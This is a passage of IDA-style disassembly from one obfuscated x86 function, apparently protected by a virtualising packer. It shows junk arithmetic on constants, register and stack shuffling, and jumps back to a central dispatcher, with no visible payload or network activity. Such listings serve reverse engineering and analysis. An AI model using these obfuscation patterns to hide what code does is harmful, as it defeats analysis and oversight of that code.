		not	[esp-6F0Eh+arg_6F06]
		pop	edi
		jmp	loc_58C06E
; ---------------------------------------------------------------------------


loc_58F3D3:				; CODE XREF: sub_581EE9+4EECj
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp-6ECAh+arg_6EC2]
		pop	esp
		sub	eax, ebx
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_58EB70
; ---------------------------------------------------------------------------


loc_58F3F2:				; CODE XREF: sub_581EE9+B234j
		xor	ecx, 0EC999B18h
		mov	edi, ecx
		jmp	loc_58BE9E
; ---------------------------------------------------------------------------


loc_58F3FF:				; CODE XREF: sub_581EE9+EF50j
		mov	[esp-6EC2h+arg_6EBA], edi
		jmp	loc_58BFF7
; ---------------------------------------------------------------------------


loc_58F407:				; CODE XREF: sub_581EE9+5D3Aj
		shr	bl, 4
		shr	bl, 7
		jmp	loc_58EA85
; ---------------------------------------------------------------------------


loc_58F412:				; CODE XREF: sub_581EE9+7C2Ej
		add	ecx, edi
		sub	ecx, 3EDE407Fh
		pop	edi
		sub	ecx, 6B9A076Ch
		xor	ecx, 5E440FE3h
		add	ebx, ecx
		mov	ecx, [esp-6EE4h+arg_6EDC]
		jmp	loc_58AB61
; ---------------------------------------------------------------------------


loc_58F431:				; CODE XREF: sub_581EE9+C239j
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp-6EF2h+arg_6EE8+2]
		mov	esp, [esp-6EF2h+arg_6EE8+2]
		push	[esp-6EF2h+arg_6EE8+2]
		jmp	loc_587BB0
; ---------------------------------------------------------------------------


loc_58F44A:				; CODE XREF: sub_581EE9+DB09j
		pop	ebx
		not	esi
		push	ebx
		mov	ebx, 748D373Ch
		add	esi, ebx
		mov	ebx, [esp-6EEEh+arg_6EE4+2]
		add	esp, 4
		add	esi, 0D30579F6h
		add	eax, esi
		pop	esi
		or	eax, eax
		jnz	loc_58FAC1
		push	43E5h
		mov	[esp-6EF2h+arg_6EE8+2],	ecx
		push	561Ah
		mov	[esp-6EEEh+arg_6EE4+2],	eax
		mov	eax, 4E425CC5h
		sub	esp, 4
		mov	[esp-6EEAh+arg_6EE0+2],	ebx
		jmp	loc_5910CE
; ---------------------------------------------------------------------------


loc_58F48F:				; CODE XREF: sub_581EE9+DA62j
					; sub_581EE9+ED3Aj
		push	1BCEh
		mov	[esp-6EE6h+arg_6EDC+2],	ebx
		jmp	loc_58C758
; ---------------------------------------------------------------------------


loc_58F49C:				; CODE XREF: sub_581EE9+EF70j
		neg	ah
		xchg	ah, bl
		jmp	loc_5918BC
; ---------------------------------------------------------------------------


loc_58F4A5:				; CODE XREF: sub_581EE9+9DDFj
		push	ebp
		push	ebx
		push	7F803BCCh
		pop	ebx
		add	ebx, 1
		jmp	loc_58F99E
; ---------------------------------------------------------------------------


loc_58F4B5:				; CODE XREF: sub_581EE9+F881j
		push	esi
		sub	esp, 4
		jmp	loc_5888DA
; ---------------------------------------------------------------------------


loc_58F4C1:				; CODE XREF: sub_581EE9+A7F5j
		pop	esp
		jmp	loc_58FED7
; ---------------------------------------------------------------------------


loc_58F4C7:				; DATA XREF: sub_581EE9+3CEBo
		lodsd
		push	ecx
		push	edx
		mov	edx, 4E8C55E0h
		push	ebp
		mov	ebp, 11D950F0h
		dec	ebp
		shr	ebp, 4
		xor	ebp, 13C2B789h
		add	edx, ebp
		jmp	loc_58C584
; ---------------------------------------------------------------------------


loc_58F4E6:				; CODE XREF: sub_581EE9+6FC5j
		mov	ecx, edi
		pop	edi
		sub	ebp, ecx
		pop	ecx
		jmp	loc_586A49
; ---------------------------------------------------------------------------


loc_58F4F1:				; CODE XREF: sub_581EE9+7F47j
		pop	ebp
		dec	edx
		sub	edx, 6D117FC1h
		sub	edx, 0FFFFFFFFh
		sub	edx, 0E0C8B4EDh
		mov	ebx, edx
		pop	edx
		add	ebx, 4DB20E0Bh
		sub	ebx, 706552B4h
		xor	edi, ebx
		pop	ebx
		and	ecx, edi
		jmp	loc_58D15E
; ---------------------------------------------------------------------------


loc_58F51B:				; CODE XREF: sub_581EE9+6E66j
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_58F520:				; CODE XREF: sub_581EE9+D785j
		mov	esi, [esp+0]
		add	esp, 4
		push	eax
		mov	eax, 7830664h
		xor	eax, 0B0643A3h
		xor	esi, eax
		jmp	loc_58BC5C
; ---------------------------------------------------------------------------


loc_58F53B:				; CODE XREF: sub_581EE9+CC27j
		mov	edx, esp
		push	eax
		mov	eax, 242B4FD2h
		or	eax, 1F24007Ah
		not	eax
		xor	eax, 0C0D0B001h
		add	edx, eax
		pop	eax
		push	edi
		mov	edi, 4
		add	edx, 51216359h
		add	edx, edi
		sub	edx, 51216359h
		pop	edi
		xchg	edx, [esp-6ECCh+arg_6EC2+2]
		mov	esp, [esp-6ECCh+arg_6EC2+2]
		add	esp, 4
		push	[esp-6ED0h+arg_6EC6+2]
		mov	edx, [esp-6ECCh+arg_6EC2+2]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_58FCEB
; ---------------------------------------------------------------------------


loc_58F584:				; CODE XREF: sub_581EE9+B3B4j
		pop	[esp-6EF2h+arg_6EE8+2]
		jmp	loc_58BB72
; ---------------------------------------------------------------------------


loc_58F58C:				; CODE XREF: sub_581EE9+D24Dj
		add	ebp, edx
		sub	ebp, 5C9E58CEh
		mov	edx, [esp-6EE0h+arg_6ED6+2]
		jmp	loc_5881F9
; ---------------------------------------------------------------------------


loc_58F59C:				; DATA XREF: sub_581EE9+3D57o
		push	dword ptr fs:[edx]
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_58F5A4:				; CODE XREF: sub_581EE9+F253j
		not	edi
		xor	edi, 0CBBE2260h
		sub	eax, edi
		pop	edi
		sub	eax, esi
		push	edx
		jmp	loc_58A7D4
; ---------------------------------------------------------------------------


loc_58F5B7:				; CODE XREF: sub_581EE9+F941j
		mov	ecx, [esp-6EDCh+arg_6ED2+2]
		sub	esp, 4
		mov	[esp-6ED8h+arg_6ECE+2],	eax
		jmp	loc_5906DF
; ---------------------------------------------------------------------------


loc_58F5C8:				; CODE XREF: sub_581EE9+DBF6j
		mov	[esp-6ED8h+arg_6ECE+2],	edx
		mov	edx, 4
		add	[esp-6ED8h+arg_6ED2+2],	edx
		pop	edx
		mov	edx, [esp-6EDCh+arg_6ED2+2]
		jmp	loc_5908AA
; ---------------------------------------------------------------------------


loc_58F5DD:				; CODE XREF: sub_581EE9+A34Ej
		pop	eax
		add	[esp-6ECCh+arg_6EC6+2],	ebp
		pop	ebp
		add	[esp-6ED0h+arg_6EC6+2],	eax
		sub	[esp-6ED0h+arg_6EC6+2],	66725480h
		push	eax
		jmp	loc_590C28
; ---------------------------------------------------------------------------


loc_58F5F3:				; CODE XREF: sub_581EE9+96CEj
		pop	ebx
		add	ebx, 4
		sub	esp, 4
		mov	[esp-6ECAh+arg_6EC2], edx
		jmp	loc_587496
; ---------------------------------------------------------------------------


loc_58F608:				; CODE XREF: sub_581EE9+8859j
		push	esp
		pop	ecx
		add	ecx, 4
		push	1D2Fh
		mov	[esp-6EC2h+arg_6EBA], ebx
		mov	ebx, 4
		add	ecx, ebx
		push	[esp-6EC2h+arg_6EBA]
		pop	ebx
		add	esp, 4
		xor	ecx, [esp-6EC6h+arg_6EBE]
		xor	[esp-6EC6h+arg_6EBE], ecx
		xor	ecx, [esp-6EC6h+arg_6EBE]
		jmp	loc_58CE86
; ---------------------------------------------------------------------------


loc_58F634:				; CODE XREF: sub_581EE9+C645j
		sub	ebx, 4ED4419h
		xor	ebx, 0B1486BA0h
		add	edi, 79040569h
		add	edi, ebx
		push	ebx
		mov	ebx, 3B3348E2h
		xor	ebx, 42374D8Bh
		sub	edi, ebx
		pop	ebx
		pop	ebx
		push	2E5Fh
		mov	[esp-6F0Eh+arg_6F06], ecx
		mov	ecx, 4
		add	edi, ecx
		pop	ecx
		jmp	loc_5871B1
; ---------------------------------------------------------------------------


loc_58F66D:				; CODE XREF: sub_581EE9+6582j
		pop	eax
		jmp	loc_58F520
; ---------------------------------------------------------------------------


loc_58F673:				; CODE XREF: sub_581EE9+4666j
		mov	ebx, 19002F0Fh
		xor	ebx, 6EE63033h
		sub	ebx, 2F70186Ch
		inc	ebx
		jmp	loc_590CF1
; ---------------------------------------------------------------------------


loc_58F68A:				; CODE XREF: sub_581EE9+A132j
		add	ecx, eax
		sub	ecx, 7B7C6722h
		jmp	loc_58FB83
; ---------------------------------------------------------------------------


loc_58F697:				; CODE XREF: sub_581EE9+E106j
		not	ecx
		jmp	loc_58ED62
; ---------------------------------------------------------------------------


loc_58F69E:				; CODE XREF: sub_581EE9+B8C2j
		push	edi
		jmp	loc_590886
; ---------------------------------------------------------------------------


loc_58F6A4:				; CODE XREF: sub_581EE9+BD46j
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_589A2D
; ---------------------------------------------------------------------------


loc_58F6B0:				; CODE XREF: sub_581EE9+E619j
		mov	ah, 19h
		push	edx
		mov	dl, 0AAh
		sub	bl, dl
		pop	edx
		jmp	loc_585E4E
; ---------------------------------------------------------------------------


loc_58F6BD:				; CODE XREF: sub_581EE9+B67Aj
		and	ebp, eax
		pop	eax
		add	ebp, 3A90552Eh
		sub	ebp, 8AC05E52h
		sub	ecx, 14532A54h
		add	ecx, 498F54C6h
		jmp	loc_585F37
; ---------------------------------------------------------------------------


loc_58F6DD:				; CODE XREF: sub_581EE9+7D39j
		mov	esi, [esp-6EC8h+arg_6EBE+2]
		add	esp, 4
		pop	ecx
		and	ecx, esi
		mov	esi, [esp-6ED0h+arg_6EC6+2]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp-6ECCh+arg_6EC2+2]
		jmp	loc_58A887
; ---------------------------------------------------------------------------


loc_58F703:				; CODE XREF: sub_581EE9+3E41j
		mov	esp, [esp-6ED6h+arg_6ECE]
		push	ebp
		jmp	loc_59176F
; ---------------------------------------------------------------------------


loc_58F70C:				; CODE XREF: sub_581EE9+BBEBj
		xchg	ebp, [esp-6ECEh+arg_6EC6]
		mov	esp, [esp-6ECEh+arg_6EC6]
		jmp	loc_58A509
; ---------------------------------------------------------------------------


loc_58F717:				; CODE XREF: sub_581EE9+D8A8j
		push	ebx
		push	edx
		mov	edx, 0C777212h
		add	edx, 0F3888DF0h
		jmp	loc_586DDA
; ---------------------------------------------------------------------------


loc_58F729:				; CODE XREF: sub_581EE9+8CFAj
		xchg	edi, ebx
		pop	edi
		not	ebx
		inc	ebx
		inc	ebx
		sub	ebx, 0F79F7777h
		mov	esi, ebx
		pop	ebx
		and	ecx, esi
		mov	esi, [esp-6EC8h+arg_6EBE+2]
		add	esp, 4
		jmp	loc_58802B
; ---------------------------------------------------------------------------


loc_58F746:				; CODE XREF: sub_581EE9+A989j
		mov	[esp-6EFEh+arg_6EF6], ecx
		jmp	loc_589900
; ---------------------------------------------------------------------------


loc_58F74E:				; CODE XREF: sub_581EE9+6D14j
		add	esp, 4
		push	[esp-6F0Ch+arg_6F02+2]
		jmp	loc_590E02
; ---------------------------------------------------------------------------


loc_58F759:				; CODE XREF: sub_581EE9+5645j
		sub	bl, ah
		pop	ax
		sub	bl, 37h
		push	edx
		mov	dh, 0BEh
		add	dh, 53h
		add	bl, dh
		pop	edx
		add	bl, 4
		push	ecx
		mov	cl, 28h
		add	bl, cl
		pop	ecx
		movzx	eax, al
		pop	dword ptr [edi+eax*4]
		jmp	loc_58BCAA
; ---------------------------------------------------------------------------


loc_58F77D:				; CODE XREF: sub_581EE9+C825j
		mov	esp, [esp-6EC4h+arg_6EBA+2]
		push	esi
		push	24097D63h
		pop	esi
		push	ecx
		push	esi
		jmp	loc_58E2C5
; ---------------------------------------------------------------------------


loc_58F78E:				; CODE XREF: sub_581EE9+B18Fj
		add	esi, ecx
		pop	ecx
		jmp	loc_58F717
; ---------------------------------------------------------------------------


loc_58F796:				; CODE XREF: sub_581EE9+4D3Bj
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_58F79B:				; CODE XREF: sub_581EE9+57ADj
		add	ebx, eax
		pop	eax
		push	small word ptr [eax]
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_58F7A6:				; CODE XREF: sub_581EE9+AF14j
		sub	eax, 57147AA9h
		jmp	loc_589962
; ---------------------------------------------------------------------------


loc_58F7B0:				; CODE XREF: sub_581EE9+A7A6j
		pop	edi
		jmp	loc_588788
; ---------------------------------------------------------------------------


loc_58F7B6:				; CODE XREF: sub_581EE9+4FB6j
		add	ebx, 4
		push	edx
		push	eax
		push	15F32777h
		pop	eax
		push	esi
		push	eax
		mov	eax, 63EF1182h
		push	eax
		jmp	loc_58E127
; ---------------------------------------------------------------------------


loc_58F7D1:				; CODE XREF: sub_581EE9+FBC1j
		mov	esi, 2C7D5D69h
		xor	esi, 18F32540h
		or	esi, 3005139Ah
		add	esi, 0DD64E78Bh
		and	edx, esi
		mov	esi, [esp-6E98h+arg_6E8E+2]
		jmp	loc_587A8A
; ---------------------------------------------------------------------------


loc_58F7F2:				; DATA XREF: sub_581EE9+3BAFo
		lodsd
		jmp	loc_58CBC9
; ---------------------------------------------------------------------------


loc_58F7F8:				; CODE XREF: sub_581EE9+C57Cj
		push	ebx
		mov	ebx, 0EC0625Ch
		not	ebx
		and	ebx, 565457A6h
		jmp	loc_58A72E
; ---------------------------------------------------------------------------


loc_58F80B:				; CODE XREF: sub_581EE9+C7F0j
		pop	[esp-6EC0h+arg_6EB6+2]
		mov	esp, [esp-6EC4h+arg_6EBA+2]
		jmp	loc_59079C
; ---------------------------------------------------------------------------


loc_58F816:				; CODE XREF: sub_581EE9+63EBj
		pop	ebp
		sub	esi, 89253F5h
		jmp	loc_591133
; ---------------------------------------------------------------------------


loc_58F822:				; CODE XREF: sub_581EE9+42EEj
		sub	esp, 4
		mov	[esp-6EBAh+arg_6EB2], esp
		push	ebx
		mov	ebx, 4
		jmp	loc_58805D
; ---------------------------------------------------------------------------


loc_58F833:				; CODE XREF: sub_581EE9+F452j
		not	ebx
		xchg	eax, ebx
		xor	eax, 0C293886Ch
		push	1BDDh
		mov	[esp-6EB2h+arg_6EA8+2],	edi
		push	eax
		xor	[esp-6EAEh+arg_6EA4+2],	1C530ACDh
		jmp	loc_58EFD1
; ---------------------------------------------------------------------------


loc_58F850:				; CODE XREF: sub_581EE9+BD99j
		add	ecx, eax
		pop	eax
		add	ecx, 4
		push	ecx
		push	[esp-6EC2h+arg_6EBE]
		pop	ecx
		jmp	loc_58E713
; ---------------------------------------------------------------------------


loc_58F861:				; CODE XREF: sub_581EE9+4752j
		mov	[esp-6EFAh+arg_6EF0+2],	edx
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_58F869:				; CODE XREF: sub_581EE9+4D53j
		add	ebx, 1
		jmp	loc_58EFC5
; ---------------------------------------------------------------------------


loc_58F871:				; CODE XREF: sub_581EE9+F0E7j
		mov	esp, [esp-6EDCh+arg_6ED2+2]
		jmp	loc_591739
; ---------------------------------------------------------------------------


loc_58F879:				; CODE XREF: sub_581EE9+5BB0j
		xor	edx, 200084Ch
		add	eax, edx
		mov	edx, [esp-6EC6h+arg_6EBE]
		add	esp, 4
		jmp	loc_590E9C
; ---------------------------------------------------------------------------


loc_58F88C:				; CODE XREF: sub_581EE9+CAF6j
		add	ebx, 8865E57h
		sub	ebx, 138E1C20h
		pop	edx
		xchg	ebx, [esp-6ECAh+arg_6EC2]
		mov	esp, [esp-6ECAh+arg_6EC2]
		mov	ax, word ptr [esp-6ECAh+arg_6EC2]
		push	ebx
		push	esp
		pop	ebx
		jmp	loc_58A8C5
; ---------------------------------------------------------------------------


loc_58F8AB:				; CODE XREF: sub_581EE9+7CE7j
		sub	eax, 50981DF8h
		push	edi
		mov	edi, 14C81252h
		jmp	loc_5896D0
; ---------------------------------------------------------------------------


loc_58F8BB:				; CODE XREF: sub_581EE9+7A1Fj
		add	eax, 18CE28F4h
		add	eax, ebx
		push	edi
		mov	edi, 61491C83h
		xor	edi, 79873477h
		jmp	loc_589BB6
; ---------------------------------------------------------------------------


loc_58F8D3:				; CODE XREF: sub_581EE9+42DDj
		pop	ebp
		push	edi
		mov	edi, 7B5F7C79h
		xor	edi, 16C83548h
		and	edi, 60BB2180h
		shl	edi, 4
		shl	edi, 1
		sub	edi, 34F33913h
		add	edi, 83F95F5Eh
		add	ebp, edi
		pop	edi
		add	ebp, edi
		sub	ebp, 6166464Bh
		mov	edi, [esp-6EC6h+arg_6EBE]
		add	esp, 4
		and	eax, ebp
		pop	ebp
		or	eax, eax
		jz	loc_58FAC1
		push	ebx
		mov	ebx, 28h
		add	ebx, 2170683Ah
		push	edx
		jmp	loc_58EE79
; ---------------------------------------------------------------------------


loc_58F928:				; CODE XREF: sub_581EE9+754Aj
		sub	esp, 4
		jmp	loc_585F2F
; ---------------------------------------------------------------------------


loc_58F930:				; CODE XREF: sub_581EE9+7CC8j
		push	ebx
		mov	bl, 94h
		mov	dl, bl
		pop	ebx
		neg	dl
		or	dl, 26h
		or	dl, 38h
		shl	dl, 3
		shr	dl, 8
		jmp	loc_5915B9
; ---------------------------------------------------------------------------


loc_58F949:				; CODE XREF: sub_581EE9+70CAj
		or	eax, eax
		jz	loc_58F48F
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_58856A
; ---------------------------------------------------------------------------


loc_58F95F:				; CODE XREF: sub_581EE9+CCF7j
		sub	al, bh
		jmp	loc_589FF4
; ---------------------------------------------------------------------------


loc_58F966:				; CODE XREF: sub_581EE9+C8BCj
		pop	eax
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_58F96C:				; CODE XREF: sub_581EE9+6B4Cj
		push	4DCC4E0Fh
		jmp	loc_585E6C
; ---------------------------------------------------------------------------


loc_58F976:				; CODE XREF: sub_581EE9+EF1Cj
		add	esp, 4
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		push	edi
		mov	edi, 4
		add	ebx, edi
		pop	edi
		xchg	ebx, [esp-6EDCh+arg_6ED2+2]
		mov	esp, [esp-6EDCh+arg_6ED2+2]
		push	4D5h
		mov	[esp-6ED8h+arg_6ECE+2],	ebx
		jmp	loc_58D52D
; ---------------------------------------------------------------------------


loc_58F99E:				; CODE XREF: sub_581EE9+D5C7j
		neg	ebx
		not	ebx
		jmp	loc_5865C8
; ---------------------------------------------------------------------------


loc_58F9A7:				; CODE XREF: sub_581EE9+C3ECj
		pop	eax
		jmp	loc_59071B
; ---------------------------------------------------------------------------


loc_58F9AD:				; CODE XREF: sub_581EE9+C088j
		mov	ebx, 548A22FCh
		mov	edi, 0AEA1E4E8h
		add	edi, ebx
		pop	ebx
		sub	edi, 32C07E0h
		add	[esp-6EC8h+arg_6EC2+2],	edi
		pop	edi
		mov	edx, [esp-6ECCh+arg_6EC2+2]
		sub	esp, 4
		mov	[esp-6EC8h+arg_6EBE+2],	ecx
		jmp	loc_591895
; ---------------------------------------------------------------------------


loc_58F9D6:				; CODE XREF: sub_581EE9+A91Ej
		pop	edx
		push	4F52h
		mov	[esp-6EEAh+arg_6EE0+2],	ebx
		push	esp
		jmp	loc_58AC5B
; ---------------------------------------------------------------------------


loc_58F9E5:				; CODE XREF: sub_581EE9+5AFDj
		pop	esi
		inc	ebx
		shl	ebx, 7
		sub	ebx, 0C54B9A37h
		xor	esi, ebx
		jmp	loc_58F44A
; ---------------------------------------------------------------------------


loc_58F9F7:				; CODE XREF: sub_581EE9+6B38j
		mov	[esp-6EE8h+arg_6EE0], edi
		jmp	loc_589104
; ---------------------------------------------------------------------------


loc_58F9FF:				; CODE XREF: sub_581EE9+EBB4j
		add	esp, 4
		add	al, 9Fh
		jmp	loc_58A2B9
; ---------------------------------------------------------------------------


loc_58FA0C:				; CODE XREF: sub_581EE9+5137j
		pop	esi
		push	eax
		mov	eax, 64F02C4Bh
		sub	eax, 1
		sub	eax, 55D2B7BCh
		and	ebp, eax
		pop	eax
		add	ebp, 4A1B14D5h
		add	ebp, 0F5A807B5h
		xor	eax, ebp
		pop	ebp
		sub	[edi+24h], eax
		pop	eax


loc_58FA31:				; CODE XREF: sub_581EE9+FAE3j
		sub	esp, 4
		mov	[esp-6EFAh+arg_6EF0+2],	ebx
		sub	esp, 4
		jmp	loc_590713
; ---------------------------------------------------------------------------


loc_58FA3F:				; CODE XREF: sub_581EE9+5A84j
		mov	[esp-6EF6h+arg_6EEC+2],	esp
		add	[esp-6EF6h+arg_6EEC+2],	4
		jmp	loc_591852
; ---------------------------------------------------------------------------


loc_58FA4E:				; CODE XREF: sub_581EE9+87AAj
		push	4C12h
		mov	[esp-6ED0h+arg_6EC6+2],	eax
		mov	eax, 0FFFFFFFFh
		jmp	loc_58AE7C
; ---------------------------------------------------------------------------


loc_58FA60:				; CODE XREF: sub_581EE9+C09Dj
		pop	ebx
		sub	esp, 4
		mov	[esp-6EF6h+arg_6EEC+2],	edi
		mov	edi, 2
		add	esi, edi
		pop	edi
		xor	esi, [esp-6EFAh+arg_6EF0+2]
		xor	[esp-6EFAh+arg_6EF0+2],	esi
		xor	esi, [esp-6EFAh+arg_6EF0+2]
		pop	esp
		shr	word ptr [esp-6EFEh+arg_6EF6], cl
		pushf
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_58FA83:				; CODE XREF: sub_581EE9+8C02j
		push	ecx
		mov	ecx, 4
		add	eax, ecx
		jmp	loc_587D86
; ---------------------------------------------------------------------------


loc_58FA90:				; CODE XREF: sub_581EE9+8900j
		mov	[esp-6EC2h+arg_6EBA], ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_590178
; ---------------------------------------------------------------------------


loc_58FAA0:				; CODE XREF: sub_581EE9+5696j
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_58FAA5:				; CODE XREF: sub_581EE9+8FFFj
		mov	eax, 57A97A3Dh
		push	eax
		jmp	loc_58934D
; ---------------------------------------------------------------------------


loc_58FAB0:				; CODE XREF: sub_581EE9+ABBEj
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp-6EC2h+arg_6EBA]
		mov	esp, [esp-6EC2h+arg_6EBA]


loc_58FAC1:				; CODE XREF: sub_581EE9+D580j
					; sub_581EE9+DA27j
		push	dword ptr [edi+24h]
		push	[esp-6EBEh+arg_6EB6]
		pop	ecx
		sub	esp, 4
		mov	[esp-6EBAh+arg_6EB2], edx
		push	2FCCh
		mov	[esp-6EB6h+arg_6EAC+2],	esp
		sub	esp, 4
		jmp	loc_58F5C8
; ---------------------------------------------------------------------------


loc_58FAE4:				; CODE XREF: sub_581EE9+8777j
		pop	eax
		mov	ecx, [esp-6EBCh+arg_6EB2+2]
		add	esp, 4
		and	al, bh
		push	[esp-6EC0h+arg_6EB6+2]
		pop	ebx
		add	esp, 4
		push	55FBh
		mov	[esp-6EC0h+arg_6EB6+2],	ebx
		push	1DA5h
		mov	[esp-6EBCh+arg_6EB2+2],	edi
		jmp	loc_591906
; ---------------------------------------------------------------------------


loc_58FB0F:				; CODE XREF: sub_581EE9+AFC0j
		mov	edi, 4
		push	edx
		mov	edx, 49744EF3h
		sub	eax, edx
		pop	edx
		push	ebp
		mov	ebp, 34B97A6Fh
		sub	eax, ebp
		pop	ebp
		add	eax, edi
		add	eax, 34B97A6Fh
		add	eax, 49744EF3h
		pop	edi
		jmp	loc_58D7F3
; ---------------------------------------------------------------------------


loc_58FB38:				; CODE XREF: sub_581EE9+8B7Bj
		xor	[esp-6ECCh+arg_6EC2+2],	esi
		jmp	loc_58EDE7
; ---------------------------------------------------------------------------


loc_58FB40:				; CODE XREF: sub_581EE9+6471j
		pop	esp
		mov	[esp-6EBCh+arg_6EB2+2],	ebx
		push	esp
		mov	ebx, [esp+0]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp-6EB4h+arg_6EAC]
		pop	esp
		add	ebx, 4
		jmp	loc_58E024
; ---------------------------------------------------------------------------


loc_58FB62:				; CODE XREF: sub_581EE9+F964j
		add	edx, edi
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		jmp	loc_5896E5
; ---------------------------------------------------------------------------


loc_58FB75:				; CODE XREF: sub_581EE9+520Aj
		or	[edi+20h], eax
		pop	eax
		push	526Eh
		jmp	loc_58DE2B
; ---------------------------------------------------------------------------


loc_58FB83:				; CODE XREF: sub_581EE9+D7A9j
		pop	eax
		shr	ecx, 6
		jmp	loc_58E89C
; ---------------------------------------------------------------------------


loc_58FB8C:				; CODE XREF: sub_581EE9+BE0Fj
		xor	[esp-6ECCh+arg_6EC2+2],	esi
		xor	esi, [esp-6ECCh+arg_6EC2+2]
		mov	esp, [esp-6ECCh+arg_6EC2+2]
		jmp	loc_590C47
; ---------------------------------------------------------------------------


loc_58FB9A:				; DATA XREF: sub_581EE9+3B1Fo
		push	716Bh
		mov	[esp-6EC8h+arg_6EBE+2],	eax
		mov	eax, esp
		push	esi
		mov	esi, 4
		jmp	loc_58CDEC
; ---------------------------------------------------------------------------


loc_58FBAF:				; CODE XREF: sub_581EE9+E8CCj
		add	esp, 4
		sub	cl, 2Ah
		jmp	loc_58BDA6
; ---------------------------------------------------------------------------


loc_58FBBA:				; CODE XREF: sub_581EE9+5F51j
		mov	[esp-6ECEh+arg_6EC6], edi
		mov	edi, 413D1F30h
		mov	esi, 0A141224Bh
		sub	esi, edi
		jmp	loc_58E06A
; ---------------------------------------------------------------------------


loc_58FBCE:				; CODE XREF: sub_581EE9+EE59j
		push	dword ptr [edi+1Ch]
		jmp	loc_589BFB
; ---------------------------------------------------------------------------


loc_58FBD6:				; CODE XREF: sub_581EE9+B63Fj
		pop	esp
		mov	ecx, [esp-6EDCh+arg_6ED2+2]
		add	esp, 4
		mov	ebp, eax
		mov	eax, [esp-6EE0h+arg_6ED6+2]
		add	esp, 4
		and	eax, ebp
		push	[esp-6EE4h+arg_6EDC]
		pop	ebp
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		sub	esp, 4
		jmp	loc_58CF42
; ---------------------------------------------------------------------------


loc_58FC00:				; CODE XREF: sub_581EE9+9F5Cj
		mov	esi, esp
		add	esi, 4
		push	eax
		mov	eax, 305B2670h
		not	eax
		shr	eax, 7
		jmp	loc_58ED7F
; ---------------------------------------------------------------------------


loc_58FC18:				; CODE XREF: sub_581EE9+D434j
		push	edx
		push	6D710542h
		pop	edx
		jmp	loc_586A1B
; ---------------------------------------------------------------------------


loc_58FC24:				; CODE XREF: sub_581EE9+4C29j
		mov	esp, [esp-6ECEh+arg_6EC6]
		sar	byte ptr [esp-6ECEh+arg_6EC6], cl
		pushf
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_58FC30:				; CODE XREF: sub_581EE9+FA12j
		push	[esp-6ECAh+arg_6EC2]
		pop	ebx
		sub	esp, 4
		mov	[esp-6EC6h+arg_6EBE], edx
		jmp	loc_590D70
; ---------------------------------------------------------------------------


loc_58FC3F:				; CODE XREF: sub_581EE9+CC97j
		mov	eax, 5268100Ah
		jmp	loc_58CEC4
; ---------------------------------------------------------------------------


loc_58FC49:				; CODE XREF: sub_581EE9+A2B9j
		xor	[esp-6EDAh+arg_6ED2], ebx
		xor	ebx, [esp-6EDAh+arg_6ED2]
		pop	esp
		rol	[esp-6EDEh+arg_6ED6], cl
		pushf
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_58FC59:				; CODE XREF: sub_581EE9+4655j
		mov	[esp+0], esp
		jmp	loc_5909B9
; ---------------------------------------------------------------------------


loc_58FC61:				; CODE XREF: sub_581EE9+9801j
		mov	edx, esp
		sub	esp, 4
		mov	[esp-6EF0h+arg_6EE8], edi
		jmp	loc_58B9AE
; ---------------------------------------------------------------------------


loc_58FC6E:				; CODE XREF: sub_581EE9+91E0j
		add	eax, edi
		jmp	loc_591C00
; ---------------------------------------------------------------------------


loc_58FC75:				; CODE XREF: sub_581EE9+77CEj
		pop	ebp
		sub	esi, 30543217h
		jmp	loc_58D972
; ---------------------------------------------------------------------------


loc_58FC81:				; CODE XREF: sub_581EE9+A257j
		sub	ebx, 2
		xchg	ebx, [esp-6EC4h+arg_6EBA+2]
		jmp	loc_588F1B
; ---------------------------------------------------------------------------


loc_58FC8C:				; CODE XREF: sub_581EE9+CE9Bj
		xor	eax, 31FA59DCh
		push	41AFh
		mov	[esp-6EB0h+arg_6EA8], esi
		mov	esi, 0AD70008h
		push	eax
		mov	eax, 2D0C549Fh
		or	esi, eax
		jmp	loc_58ABAA
; ---------------------------------------------------------------------------


loc_58FCAB:				; CODE XREF: sub_581EE9+9F1Fj
		mov	ebx, 28D96D51h
		jmp	loc_586C29
; ---------------------------------------------------------------------------


loc_58FCB5:				; CODE XREF: sub_581EE9+A13Dj
		push	ebx
		jmp	loc_58EDF5
; ---------------------------------------------------------------------------


loc_58FCBB:				; CODE XREF: sub_581EE9+4EBDj
		mov	ecx, [esp-6EC2h+arg_6EBA]
		jmp	loc_590F4E
; ---------------------------------------------------------------------------


loc_58FCC3:				; CODE XREF: sub_581EE9+41F5j
		pop	ecx
		xor	edx, ecx
		xor	ecx, edx
		xor	edx, ecx
		sub	esp, 4
		jmp	loc_58E2DA
; ---------------------------------------------------------------------------


loc_58FCD5:				; CODE XREF: sub_581EE9+F1E0j
		xchg	eax, [esp-6EBEh+arg_6EB6]
		pop	esp
		push	0B3Fh
		mov	[esp-6EBEh+arg_6EB6], ebx
		push	735Bh
		jmp	loc_58C67D
; ---------------------------------------------------------------------------


loc_58FCEB:				; CODE XREF: sub_581EE9+D696j
		add	ecx, 4
		xchg	ecx, [esp-6EC8h+arg_6EBE+2]
		pop	esp
		push	2FF6h
